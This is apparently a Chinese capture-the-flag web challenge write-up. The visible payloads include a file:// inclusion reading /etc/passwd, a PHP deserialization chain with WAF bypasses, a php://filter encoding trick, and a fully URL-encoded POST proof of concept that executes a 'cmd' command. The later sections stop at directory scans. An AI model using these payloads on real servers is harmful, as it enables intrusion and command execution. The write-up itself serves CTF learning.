easy_include
#file协议的session文件包含
1 |
|
要求必须是小写字母开头,而且不能路径遍历
1 | 1=localhost/etc/passwd |
如果是根目录的话需要加上localhost
cookie开启了session,直接打session文件包含就行,这道题还不需要竞争
1 | import requests |
easy_web
#反序列化bypass+编码器处理垃圾字符
php版本为5.5.9
先不看waf了,先看下面的关键代码
1 | class ctf{ |
反序列化,先写个链子
1 | ctf::__destruct()->show::__call()->Chu0_write::__toString() |
最终需要进入到__toString
本地调试一下链子
1 |
|
然后我们来看waf
1 | function waf1($Chu0){ |
对键值对的值过滤了小写字母,$_REQUEST会同时接受GET和post里面的请求,但是post的优先级更高,所以随便传post传一个数字就能绕过就行了
1 | function waf2($Chu0){ |
会检查查询字符串是否包含show,因为我们需要传show_show.show才能进入else分支,可以用url编码进行绕过
1 | if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){ |
经典的绕过wakeup方法,用C打头去绕过,用原生类ArrayObject类去打包一下
1 |
|
接着我们看看__toString中的内容
1 | function waf_in_waf_php($a){ |
需要chu0和chu1相等,并且会将content写入txt文件中,看到waf_in_waf_php函数中,要求要出现一次base64字符串且不能出现ucs-2|phar|data|input|zip|flag|\%,意图很明显了,我们需要往ctfw.txt里面写代码,那么这里的name就只能是包含ctfw+任何东西
但是这里可以看到$content里面有一堆垃圾字符会影响我们的chu0,需要用多次编码去处理垃圾字符,让垃圾字符为非法的base64字符,这样在base64解码的时候就会忽略这些字符
1 |
|
最终可以得出我们的name参数
1 | ?name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw |
然后对于传进去的chu0,我们构造一个system吧,但是这里也是需要编码的
1 |
|
得到chu0的内容为=FE=FF=00c=003=00l=00z=00d=00G=00V=00t,只保留c=003=00l=00z=00d=00G=00V=00t
所以最后的poc
1 | POST /?%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%38%34%3a%7b%78%3a%69%3a%30%3b%61%3a%31%3a%7b%73%3a%34%3a%22%65%76%69%6c%22%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%33%3a%7b%69%3a%30%3b%73%3a%30%3a%22%22%3b%69%3a%31%3b%73%3a%30%3a%22%22%3b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%4e%3b%73%3a%34%3a%22%63%68%75%31%22%3b%52%3a%31%31%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw&chu0=c=003=00l=00z=00d=00G=00V=00t=00&cmd=env |
需要注意的是,序列化字符串需要url全编码,不然里面的show对象会触发waf2
孤注一掷
扫目录扫出好多东西
1 | [19:43:12] Scanning: |
easy_api
打开显示FastApi启动报告
1 | {"message":"fastapi startup complete"} |
扫目录
1 | [15:50:53] Scanning: |
访问openapi.json
openapi.json 是一个由 FastAPI 自动生成的 API 接口描述文件
1 | { |
有三个接口,一个是POST类型的/upload/文件上传,GET类型的/uploads/{fileIndex}文件下载,GET类型的/list文件列表